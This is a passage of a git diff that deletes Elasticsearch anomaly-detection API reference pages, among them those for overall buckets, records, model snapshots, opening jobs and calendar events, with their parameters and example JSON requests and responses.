-// TESTRESPONSE[s/"total_ml_memory": "86883mb"/"total_ml_memory": "$body.limits.total_ml_memory"/]
-// TESTRESPONSE[skip:"AwaitsFix https://github.com/elastic/elasticsearch/issues/66629"]
diff --git a/docs/reference/ml/anomaly-detection/apis/get-overall-buckets.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-overall-buckets.asciidoc
deleted file mode 100644
index 78040a54987..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-overall-buckets.asciidoc
+++ /dev/null
@@ -1,212 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-overall-buckets]]
-= Get overall buckets API
-++++
-<titleabbrev>Get overall buckets</titleabbrev>
-++++
-
-Retrieves overall bucket results that summarize the bucket results of multiple
-{anomaly-jobs}.
-
-[[ml-get-overall-buckets-request]]
-== {api-request-title}
-
-`GET _ml/anomaly_detectors/<job_id>/results/overall_buckets` +
-
-`GET _ml/anomaly_detectors/<job_id>,<job_id>/results/overall_buckets` +
-
-`GET _ml/anomaly_detectors/_all/results/overall_buckets`
-
-[[ml-get-overall-buckets-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also
-need `read` index privilege on the index that stores the results. The
-`machine_learning_admin` and `machine_learning_user` roles provide these
-privileges. See <<security-privileges>>, <<built-in-roles>>, and
-{ml-docs-setup-privileges}.
-
-[[ml-get-overall-buckets-desc]]
-== {api-description-title}
-
-You can summarize the bucket results for all {anomaly-jobs} by using `_all` or
-by specifying `*` as the `<job_id>`.
-
-By default, an overall bucket has a span equal to the largest bucket span of the
-specified {anomaly-jobs}. To override that behavior, use the optional
-`bucket_span` parameter. To learn more about the concept of buckets, see
-{ml-docs}/ml-buckets.html[Buckets].
-
-The `overall_score` is calculated by combining the scores of all the buckets
-within the overall bucket span. First, the maximum `anomaly_score` per
-{anomaly-job} in the overall bucket is calculated. Then the `top_n` of those
-scores are averaged to result in the `overall_score`. This means that you can
-fine-tune the `overall_score` so that it is more or less sensitive to the number
-of jobs that detect an anomaly at the same time. For example, if you set `top_n`
-to `1`, the `overall_score` is the maximum bucket score in the overall bucket.
-Alternatively, if you set `top_n` to the number of jobs, the `overall_score` is
-high only when all jobs detect anomalies in that overall bucket.  If you set
-the `bucket_span` parameter (to a value greater than its default), the
-`overall_score` is the maximum `overall_score` of the overall buckets that have
-a span equal to the jobs' largest bucket span.
-
-[[ml-get-overall-buckets-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection-wildcard-list]
-
-[[ml-get-overall-buckets-request-body]]
-== {api-request-body-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-jobs]
-
-`bucket_span`::
-(Optional, string) The span of the overall buckets. Must be greater or equal to
-the largest bucket span of the specified {anomaly-jobs}, which is the default
-value.
-
-`end`::
-(Optional, string) Returns overall buckets with timestamps earlier than this
-time.
-
-`exclude_interim`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=exclude-interim-results]
-+
---
-If any of the job bucket results within the overall bucket interval are interim
-results, the overall bucket results are interim results.
---
-
-`overall_score`::
-(Optional, double) Returns overall buckets with overall scores greater than or
-equal to this value.
-
-`start`::
-(Optional, string) Returns overall buckets with timestamps after this time.
-
-`top_n`::
-(Optional, integer) The number of top {anomaly-job} bucket scores to be used in
-the `overall_score` calculation. The default value is `1`.
-
-[[ml-get-overall-buckets-results]]
-== {api-response-body-title}
-
-The API returns an array of overall bucket objects, which have the following
-properties:
-
-`bucket_span`::
-(number) The length of the bucket in seconds. Matches the job with the longest `bucket_span` value.
-
-`is_interim`::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=is-interim]
-
-`jobs`::
-(array) An array of objects that contain the `max_anomaly_score` per `job_id`.
-
-`overall_score`::
-(number) The `top_n` average of the maximum bucket `anomaly_score` per job.
-
-`result_type`::
-(string) Internal. This is always set to `overall_bucket`.
-
-`timestamp`::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=timestamp-results]
-
-[[ml-get-overall-buckets-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/anomaly_detectors/job-*/results/overall_buckets
-{
-  "overall_score": 80,
-  "start": "1403532000000"
-}
---------------------------------------------------
-// TEST[skip:todo]
-
-In this example, the API returns a single result that matches the specified
-score and time constraints. The `overall_score` is the max job score as
-`top_n` defaults to 1 when not specified:
-[source,js]
-----
-{
-  "count": 1,
-  "overall_buckets": [
-    {
-      "timestamp" : 1403532000000,
-      "bucket_span" : 3600,
-      "overall_score" : 80.0,
-      "jobs" : [
-        {
-          "job_id" : "job-1",
-          "max_anomaly_score" : 30.0
-        },
-        {
-          "job_id" : "job-2",
-          "max_anomaly_score" : 10.0
-        },
-        {
-          "job_id" : "job-3",
-          "max_anomaly_score" : 80.0
-        }
-      ],
-      "is_interim" : false,
-      "result_type" : "overall_bucket"
-    }
-  ]
-}
-----
-
-The next example is similar but this time `top_n` is set to `2`:
-
-[source,console]
---------------------------------------------------
-GET _ml/anomaly_detectors/job-*/results/overall_buckets
-{
-  "top_n": 2,
-  "overall_score": 50.0,
-  "start": "1403532000000"
-}
---------------------------------------------------
-// TEST[skip:todo]
-
-Note how the `overall_score` is now the average of the top 2 job scores:
-[source,js]
-----
-{
-  "count": 1,
-  "overall_buckets": [
-    {
-      "timestamp" : 1403532000000,
-      "bucket_span" : 3600,
-      "overall_score" : 55.0,
-      "jobs" : [
-        {
-          "job_id" : "job-1",
-          "max_anomaly_score" : 30.0
-        },
-        {
-          "job_id" : "job-2",
-          "max_anomaly_score" : 10.0
-        },
-        {
-          "job_id" : "job-3",
-          "max_anomaly_score" : 80.0
-        }
-      ],
-      "is_interim" : false,
-      "result_type" : "overall_bucket"
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/get-record.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-record.asciidoc
deleted file mode 100644
index 7b85f8223e0..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-record.asciidoc
+++ /dev/null
@@ -1,245 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-record]]
-= Get records API
-++++
-<titleabbrev>Get records</titleabbrev>
-++++
-
-Retrieves anomaly records for an {anomaly-job}.
-
-[[ml-get-record-request]]
-== {api-request-title}
-
-`GET _ml/anomaly_detectors/<job_id>/results/records`
-
-[[ml-get-record-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. You also
-need `read` index privilege on the index that stores the results. The
-`machine_learning_admin` and `machine_learning_user` roles provide these
-privileges. See <<security-privileges>>, <<built-in-roles>>, and
-{ml-docs-setup-privileges}.
-
-[[ml-get-record-desc]]
-== {api-description-title}
-
-Records contain the detailed analytical results. They describe the anomalous
-activity that has been identified in the input data based on the detector
-configuration.
-
-There can be many anomaly records depending on the characteristics and size of
-the input data. In practice, there are often too many to be able to manually
-process them. The {ml-features} therefore perform a sophisticated aggregation of
-the anomaly records into buckets.
-
-The number of record results depends on the number of anomalies found in each
-bucket, which relates to the number of time series being modeled and the number
-of detectors.
-
-[[ml-get-record-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[[ml-get-record-request-body]]
-== {api-request-body-title}
-
-`desc`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=desc-results]
-
-`end`::
-(Optional, string) Returns records with timestamps earlier than this time.
-
-`exclude_interim`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=exclude-interim-results]
-
-`page`.`from`::
-(Optional, integer) Skips the specified number of records.
-
-`page`.`size`::
-(Optional, integer) Specifies the maximum number of records to obtain.
-
-`record_score`::
-(Optional, double) Returns records with anomaly scores greater or equal than
-this value.
-
-`sort`::
-(Optional, string) Specifies the sort field for the requested records. By
-default, the records are sorted by the `anomaly_score` value.
-
-`start`::
-(Optional, string) Returns records with timestamps after this time.
-
-[[ml-get-record-results]]
-== {api-response-body-title}
-
-The API returns an array of record objects, which have the following properties:
-
-`actual`::
-(array) The actual value for the bucket.
-
-`bucket_span`::
-(number)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-span-results]
-
-`by_field_name`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=by-field-name]
-
-`by_field_value`::
-(string) The value of the by field.
-
-`causes`::
-(array) For population analysis, an over field must be specified in the detector.
-This property contains an array of anomaly records that are the causes for the
-anomaly that has been identified for the over field. If no over fields exist,
-this field is not present. This sub-resource contains the most anomalous records
-for the `over_field_name`. For scalability reasons, a maximum of the 10 most
-significant causes of the anomaly are returned. As part of the core analytical
-modeling, these low-level anomaly records are aggregated for their parent over
-field record. The causes resource contains similar elements to the record
-resource, namely `actual`, `typical`, `geo_results.actual_point`, 
-`geo_results.typical_point`, `*_field_name` and `*_field_value`. Probability and
-scores are not applicable to causes.
-
-`detector_index`::
-(number)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=detector-index]
-
-`field_name`::
-(string) Certain functions require a field to operate on, for example, `sum()`.
-For those functions, this value is the name of the field to be analyzed.
-
-`function`::
-(string) The function in which the anomaly occurs, as specified in the
-detector configuration. For example, `max`.
-
-`function_description`::
-(string) The description of the function in which the anomaly occurs, as
-specified in the detector configuration.
-
-`geo_results.actual_point`::
-(string) The actual value for the bucket formatted as a `geo_point`. If the
-detector function is `lat_long`, this is a comma delimited string of the
-latitude and longitude.
-
-`geo_results.typical_point`::
-(string) The typical value for the bucket formatted as a `geo_point`. If the
-detector function is `lat_long`, this is a comma delimited string of the
-latitude and longitude.
-
-`influencers`::
-(array) If `influencers` was specified in the detector configuration, this array 
-contains influencers that contributed to or were to blame for an anomaly.
-
-`initial_record_score`::
-(number) A normalized score between 0-100, which is based on the probability of
-the anomalousness of this record. This is the initial value that was calculated
-at the time the bucket was processed.
-
-`is_interim`::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=is-interim]
-
-`job_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`over_field_name`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=over-field-name]
-
-`over_field_value`::
-(string) The value of the over field.
-
-`partition_field_name`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=partition-field-name]
-
-`partition_field_value`::
-(string) The value of the partition field.
-
-`probability`::
-(number) The probability of the individual anomaly occurring, in the range `0`
-to `1`. This value can be held to a high precision of over 300 decimal places,
-so the `record_score` is provided as a human-readable and friendly
-interpretation of this.
-
-`multi_bucket_impact`::
-(number) an indication of how strongly an anomaly is multi bucket or single
-bucket. The value is on a scale of `-5.0` to `+5.0` where `-5.0` means the
-anomaly is purely single bucket and `+5.0` means the anomaly is purely multi
-bucket.
-
-`record_score`::
-(number) A normalized score between 0-100, which is based on the probability of
-the anomalousness of this record. Unlike `initial_record_score`, this value will
-be updated by a re-normalization process as new data is analyzed.
-
-`result_type`::
-(string) Internal. This is always set to `record`.
-
-`timestamp`::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=timestamp-results]
-
-`typical`::
-(array) The typical value for the bucket, according to analytical modeling.
-
-NOTE: Additional record properties are added, depending on the fields being
-analyzed. For example, if it's analyzing `hostname` as a _by field_, then a field
-`hostname` is added to the result document. This information enables you to
-filter the anomaly results more easily.
-
-[[ml-get-record-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/anomaly_detectors/low_request_rate/results/records
-{
-  "sort": "record_score",
-  "desc": true,
-  "start": "1454944100000"
-}
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-In this example, the API returns twelve results for the specified
-time constraints:
-[source,js]
-----
-{
-  "count" : 4,
-  "records" : [
-    {
-      "job_id" : "low_request_rate",
-      "result_type" : "record",
-      "probability" : 1.3882308899968812E-4,
-      "multi_bucket_impact" : -5.0,
-      "record_score" : 94.98554565630553,
-      "initial_record_score" : 94.98554565630553,
-      "bucket_span" : 3600,
-      "detector_index" : 0,
-      "is_interim" : false,
-      "timestamp" : 1577793600000,
-      "function" : "low_count",
-      "function_description" : "count",
-      "typical" : [
-        28.254208230188834
-      ],
-      "actual" : [
-        0.0
-      ]
-    },
-  ...
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/get-snapshot.asciidoc b/docs/reference/ml/anomaly-detection/apis/get-snapshot.asciidoc
deleted file mode 100644
index 7219089922f..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/get-snapshot.asciidoc
+++ /dev/null
@@ -1,253 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-get-snapshot]]
-= Get model snapshots API
-++++
-<titleabbrev>Get model snapshots</titleabbrev>
-++++
-
-Retrieves information about model snapshots.
-
-[[ml-get-snapshot-request]]
-== {api-request-title}
-
-`GET _ml/anomaly_detectors/<job_id>/model_snapshots` +
-
-`GET _ml/anomaly_detectors/<job_id>/model_snapshots/<snapshot_id>`
-
-[[ml-get-snapshot-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-snapshot-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`<snapshot_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=snapshot-id]
-+
---
-You can multiple snapshots for a single job in a single API request
-by using a comma-separated list of `<snapshot_id>` or a wildcard expression.
-You can get all snapshots for all calendars by using `_all`,
-by specifying `*` as the `<snapshot_id>`, or by omitting the `<snapshot_id>`.
---
-
-[[ml-get-snapshot-request-body]]
-== {api-request-body-title}
-
-`desc`::
-  (Optional, Boolean) If true, the results are sorted in descending order.
-
-`end`::
-  (Optional, date) Returns snapshots with timestamps earlier than this time.
-
-`from`::
-  (Optional, integer) Skips the specified number of snapshots.
-
-`size`::
-  (Optional, integer) Specifies the maximum number of snapshots to obtain.
-
-`sort`::
-  (Optional, string) Specifies the sort field for the requested snapshots. By
-  default, the snapshots are sorted by their timestamp.
-
-`start`::
-  (Optional, string) Returns snapshots with timestamps after this time.
-
-[role="child_attributes"]
-[[ml-get-snapshot-results]]
-== {api-response-body-title}
-
-The API returns an array of model snapshot objects, which have the following
-properties:
-
-`description`::
-(string) An optional description of the job.
-
-`job_id`::
-(string) A numerical character string that uniquely identifies the job that
-the snapshot was created for.
-
-`latest_record_time_stamp`::
-(date) The timestamp of the latest processed record.
-
-`latest_result_time_stamp`::
-(date) The timestamp of the latest bucket result.
-
-`min_version`::
-(string) The minimum version required to be able to restore the model snapshot.
-
-//Begin model_size_stats
-`model_size_stats`::
-(object) Summary information describing the model.
-+
-.Properties of `model_size_stats`
-[%collapsible%open]
-====
-`bucket_allocation_failures_count`:::
-(long) The number of buckets for which entities were not processed due to memory
-limit constraints.
-
-`categorized_doc_count`:::
-(long) The number of documents that have had a field categorized.
-
-`categorization_status`:::
-(string) The status of categorization for this job.
-Contains one of the following values.
-+
---
-* `ok`: Categorization is performing acceptably well (or not being
-used at all).
-* `warn`: Categorization is detecting a distribution of categories
-that suggests the input data is inappropriate for categorization.
-Problems could be that there is only one category, more than 90% of
-categories are rare, the number of categories is greater than 50% of
-the number of categorized documents, there are no frequently
-matched categories, or more than 50% of categories are dead.
-
---
-
-`dead_category_count`:::
-(long) The number of categories created by categorization that will
-never be assigned again because another category's definition
-makes it a superset of the dead category.  (Dead categories are a
-side effect of the way categorization has no prior training.)
-
-`failed_category_count`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=failed-category-count]
-
-`frequent_category_count`:::
-(long) The number of categories that match more than 1% of categorized
-documents.
-
-`job_id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`log_time`:::
-(date) The timestamp that the `model_size_stats` were recorded, according to
-server-time.
-
-`memory_status`:::
-(string) The status of the memory in relation to its `model_memory_limit`.
-Contains one of the following values.
-+
---
-* `hard_limit`: The internal models require more space that the configured
-memory limit. Some incoming data could not be processed.
-* `ok`: The internal models stayed below the configured value.
-* `soft_limit`: The internal models require more than 60% of the configured
-memory limit and more aggressive pruning will be performed in order to try to
-reclaim space.
---
-
-`model_bytes`:::
-(long) An approximation of the memory resources required for this analysis.
-
-`model_bytes_exceeded`:::
-(long) The number of bytes over the high limit for memory usage at the last allocation failure.
-
-`model_bytes_memory_limit`:::
-(long) The upper limit for memory usage, checked on increasing values.
-
-`rare_category_count`:::
-(long) The number of categories that match just one categorized document.
-
-`result_type`:::
-(string) Internal. This value is always `model_size_stats`.
-
-`timestamp`:::
-(date) The timestamp that the `model_size_stats` were recorded, according to the
-bucket timestamp of the data.
-
-`total_by_field_count`:::
-(long) The number of _by_ field values analyzed. Note that these are counted
-separately for each detector and partition.
-
-`total_category_count`:::
-(long) The number of categories created by categorization.
-
-`total_over_field_count`:::
-(long) The number of _over_ field values analyzed. Note that these are counted
-separately for each detector and partition.
-
-`total_partition_field_count`:::
-(long) The number of _partition_ field values analyzed.
-====
-//End model_size_stats
-
-`retain`::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=retain]
-
-`snapshot_id`::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=snapshot-id]
-
-`snapshot_doc_count`::
-(long) For internal use only.
-
-`timestamp`::
-(date) The creation timestamp for the snapshot.
-
-[[ml-get-snapshot-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/anomaly_detectors/high_sum_total_sales/model_snapshots
-{
-  "start": "1575402236000"
-}
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-In this example, the API provides a single result:
-[source,js]
-----
-{
-  "count" : 1,
-  "model_snapshots" : [
-    {
-      "job_id" : "high_sum_total_sales",
-      "min_version" : "6.4.0",
-      "timestamp" : 1575402237000,
-      "description" : "State persisted due to job close at 2019-12-03T19:43:57+0000",
-      "snapshot_id" : "1575402237",
-      "snapshot_doc_count" : 1,
-      "model_size_stats" : {
-        "job_id" : "high_sum_total_sales",
-        "result_type" : "model_size_stats",
-        "model_bytes" : 1638816,
-        "model_bytes_exceeded" : 0,
-        "model_bytes_memory_limit" : 10485760,
-        "total_by_field_count" : 3,
-        "total_over_field_count" : 3320,
-        "total_partition_field_count" : 2,
-        "bucket_allocation_failures_count" : 0,
-        "memory_status" : "ok",
-        "categorized_doc_count" : 0,
-        "total_category_count" : 0,
-        "frequent_category_count" : 0,
-        "rare_category_count" : 0,
-        "dead_category_count" : 0,
-        "categorization_status" : "ok",
-        "log_time" : 1575402237000,
-        "timestamp" : 1576965600000
-      },
-      "latest_record_time_stamp" : 1576971072000,
-      "latest_result_time_stamp" : 1576965600000,
-      "retain" : false
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/index.asciidoc b/docs/reference/ml/anomaly-detection/apis/index.asciidoc
deleted file mode 100644
index 7b3faaed20c..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/index.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
-include::ml-apis.asciidoc[leveloffset=+1]
-//ADD
-include::post-calendar-event.asciidoc[leveloffset=+2]
-include::put-calendar-job.asciidoc[leveloffset=+2]
-//CLOSE
-include::close-job.asciidoc[leveloffset=+2]
-//CREATE
-include::put-job.asciidoc[leveloffset=+2]
-include::put-calendar.asciidoc[leveloffset=+2]
-include::put-datafeed.asciidoc[leveloffset=+2]
-include::put-filter.asciidoc[leveloffset=+2]
-//DELETE
-include::delete-calendar.asciidoc[leveloffset=+2]
-include::delete-datafeed.asciidoc[leveloffset=+2]
-include::delete-calendar-event.asciidoc[leveloffset=+2]
-include::delete-filter.asciidoc[leveloffset=+2]
-include::delete-forecast.asciidoc[leveloffset=+2]
-include::delete-job.asciidoc[leveloffset=+2]
-include::delete-calendar-job.asciidoc[leveloffset=+2]
-include::delete-snapshot.asciidoc[leveloffset=+2]
-include::delete-expired-data.asciidoc[leveloffset=+2]
-//ESTIMATE
-include::estimate-model-memory.asciidoc[leveloffset=+2]
-//FIND
-include::find-file-structure.asciidoc[leveloffset=+2]
-//FLUSH
-include::flush-job.asciidoc[leveloffset=+2]
-//FORECAST
-include::forecast.asciidoc[leveloffset=+2]
-//GET
-include::get-bucket.asciidoc[leveloffset=+2]
-include::get-calendar.asciidoc[leveloffset=+2]
-include::get-category.asciidoc[leveloffset=+2]
-include::get-datafeed.asciidoc[leveloffset=+2]
-include::get-datafeed-stats.asciidoc[leveloffset=+2]
-include::get-influencer.asciidoc[leveloffset=+2]
-include::get-job.asciidoc[leveloffset=+2]
-include::get-job-stats.asciidoc[leveloffset=+2]
-include::get-ml-info.asciidoc[leveloffset=+2]
-include::get-snapshot.asciidoc[leveloffset=+2]
-include::get-overall-buckets.asciidoc[leveloffset=+2]
-include::get-calendar-event.asciidoc[leveloffset=+2]
-include::get-filter.asciidoc[leveloffset=+2]
-include::get-record.asciidoc[leveloffset=+2]
-//OPEN
-include::open-job.asciidoc[leveloffset=+2]
-//POST
-include::post-data.asciidoc[leveloffset=+2]
-//PREVIEW
-include::preview-datafeed.asciidoc[leveloffset=+2]
-//REVERT
-include::revert-snapshot.asciidoc[leveloffset=+2]
-//SET/START/STOP
-include::set-upgrade-mode.asciidoc[leveloffset=+2]
-include::start-datafeed.asciidoc[leveloffset=+2]
-include::stop-datafeed.asciidoc[leveloffset=+2]
-//UPDATE
-include::update-datafeed.asciidoc[leveloffset=+2]
-include::update-filter.asciidoc[leveloffset=+2]
-include::update-job.asciidoc[leveloffset=+2]
-include::update-snapshot.asciidoc[leveloffset=+2]
-//VALIDATE
-//include::validate-detector.asciidoc[leveloffset=+2]
-//include::validate-job.asciidoc[leveloffset=+2]
-
diff --git a/docs/reference/ml/anomaly-detection/apis/ml-apis.asciidoc b/docs/reference/ml/anomaly-detection/apis/ml-apis.asciidoc
deleted file mode 100644
index fb2b41d646b..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/ml-apis.asciidoc
+++ /dev/null
@@ -1,94 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-apis]]
-= {ml-cap} {anomaly-detect} APIs
-
-You can use the following APIs to perform {ml} {anomaly-detect} activities.
-
-See also <<ml-df-analytics-apis>>.
-
-[discrete]
-[[ml-api-anomaly-job-endpoint]]
-== {anomaly-jobs-cap}
-//* <<ml-valid-detector,Validate detectors>>, <<ml-valid-job,Validate job>>
-* <<ml-put-job,Create>> or <<ml-delete-job,delete {anomaly-jobs}>>
-* <<ml-put-calendar-job,Add>> or <<ml-delete-calendar-job,delete a {anomaly-job} from a calendar>>
-* <<ml-open-job,Open>> or <<ml-close-job,close {anomaly-jobs}>>
-* <<ml-get-job,Get {anomaly-jobs} info>> or <<ml-get-job-stats,statistics>>
-* <<ml-flush-job,Flush {anomaly-jobs}>>
-* <<ml-post-data,Post data to {anomaly-jobs}>>
-* <<ml-update-job,Update {anomaly-jobs}>>
-* <<ml-forecast,Create>> or <<ml-delete-forecast,delete forecasts>>
-
-
-[discrete]
-[[ml-api-calendar-endpoint]]
-== Calendars
-
-* <<ml-put-calendar,Create calendar>>, <<ml-delete-calendar,Delete calendar>>
-* <<ml-put-calendar-job,Add job to calendar>>, <<ml-delete-calendar-job,Delete job from calendar>>
-* <<ml-post-calendar-event,Add scheduled events to calendar>>, <<ml-delete-calendar-event,Delete scheduled events from calendar>>
-* <<ml-get-calendar,Get calendars>>, <<ml-get-calendar-event,Get scheduled events>>
-
-[discrete]
-[[ml-api-filter-endpoint]]
-== Filters
-
-* <<ml-put-filter,Create filter>>, <<ml-delete-filter,Delete filter>>
-* <<ml-update-filter,Update filters>>
-* <<ml-get-filter,Get filters>>
-
-[discrete]
-[[ml-api-datafeed-endpoint]]
-== {dfeeds-cap}
-
-* <<ml-put-datafeed,Create {dfeed}>>, <<ml-delete-datafeed,Delete {dfeed}>>
-* <<ml-start-datafeed,Start {dfeed}>>, <<ml-stop-datafeed,Stop {dfeed}>>
-* <<ml-get-datafeed,Get {dfeed} info>>, <<ml-get-datafeed-stats,Get {dfeed} statistics>>
-* <<ml-preview-datafeed,Preview {dfeed}>>
-* <<ml-update-datafeed,Update {dfeed}>>
-
-
-[discrete]
-[[ml-api-snapshot-endpoint]]
-== Model Snapshots
-
-* <<ml-delete-snapshot,Delete model snapshot>>
-* <<ml-get-snapshot,Get model snapshot info>>
-* <<ml-revert-snapshot,Revert model snapshot>>
-* <<ml-update-snapshot,Update model snapshot>>
-
-
-[discrete]
-[[ml-api-result-endpoint]]
-== Results
-
-* <<ml-get-bucket,Get buckets>>
-* <<ml-get-overall-buckets,Get overall buckets>>
-* <<ml-get-category,Get categories>>
-* <<ml-get-influencer,Get influencers>>
-* <<ml-get-record,Get records>>
-
-[discrete]
-[[ml-api-file-structure-endpoint]]
-== File structure
-
-* <<ml-find-file-structure,Find file structure>>
-
-[discrete]
-[[ml-api-ml-info-endpoint]]
-== Info
-
-* <<get-ml-info,Machine learning info>>
-
-[discrete]
-[[ml-api-delete-expired-data-endpoint]]
-== Delete expired data
-
-* <<ml-delete-expired-data,Delete expired data>>
-
-[discrete]
-[[ml-set-upgrade-mode-endpoint]]
-== Set upgrade mode
-
-* <<ml-set-upgrade-mode, Set upgrade mode>>
diff --git a/docs/reference/ml/anomaly-detection/apis/open-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/open-job.asciidoc
deleted file mode 100644
index 94f9deb97d5..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/open-job.asciidoc
+++ /dev/null
@@ -1,81 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-open-job]]
-= Open {anomaly-jobs} API
-++++
-<titleabbrev>Open jobs</titleabbrev>
-++++
-
-Opens one or more {anomaly-jobs}.
-
-[[ml-open-job-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/{job_id}/_open`
-
-[[ml-open-job-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-open-job-desc]]
-== {api-description-title}
-
-An {anomaly-job} must be opened in order for it to be ready to receive and
-analyze data. It can be opened and closed multiple times throughout its
-lifecycle.
-
-When you open a new job, it starts with an empty model.
-
-When you open an existing job, the most recent model state is automatically
-loaded. The job is ready to resume its analysis from where it left off, once new
-data is received.
-
-[[ml-open-job-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[[ml-open-job-request-body]]
-== {api-request-body-title}
-
-`timeout`::
-  (Optional, time) Controls the time to wait until a job has opened. The default
-  value is 30 minutes.
-
-[[ml-open-job-response-body]]
-== {api-response-body-title}
-
-`node`::
-  (string) The ID of the node that the job was opened on. If the job is allowed to 
-open lazily and has not yet been assigned to a node, this value is an empty string.
-
-`opened`::
-  (Boolean) For a successful response, this value is always `true`. On failure, an
-  exception is returned instead.
-
-[[ml-open-job-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/total-requests/_open
-{
-  "timeout": "35m"
-}
---------------------------------------------------
-// TEST[skip:setup:server_metrics_job]
-
-When the job opens, you receive the following results:
-
-[source,console-result]
-----
-{
-  "opened" : true,
-  "node" : "node-1"
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/post-calendar-event.asciidoc b/docs/reference/ml/anomaly-detection/apis/post-calendar-event.asciidoc
deleted file mode 100644
index cba26ffbeca..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/post-calendar-event.asciidoc
+++ /dev/null
@@ -1,102 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-post-calendar-event]]
-= Add events to calendar API
-++++
-<titleabbrev>Add events to calendar</titleabbrev>
-++++
-
-Posts scheduled events in a calendar.
-
-[[ml-post-calendar-event-request]]
-== {api-request-title}
-
-`POST _ml/calendars/<calendar_id>/events`
-
-[[ml-post-calendar-event-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-post-calendar-event-desc]]
-== {api-description-title}
-
-This API accepts a list of {ml-docs}/ml-calendars.html[scheduled events], each
-of which must have a start time, end time, and description.
-
-[[ml-post-calendar-event-path-parms]]
-== {api-path-parms-title}
-
-`<calendar_id>`::
-(Required, string)
-include::../../ml-shared.asciidoc[tag=calendar-id]
-
-[role="child_attributes"]
-[[ml-post-calendar-event-request-body]]
-== {api-request-body-title}
-
-`events`::
-(Required, array) A list of one of more scheduled events. The event's start and
-end times may be specified as integer milliseconds since the epoch or as a
-string in ISO 8601 format.
-+
-.Properties of events
-[%collapsible%open]
-====
-`description`:::
-(Optional, string) A description of the scheduled event.
-
-`end_time`:::
-(Required, date) The timestamp for the end of the scheduled event in
-milliseconds since the epoch or ISO 8601 format.
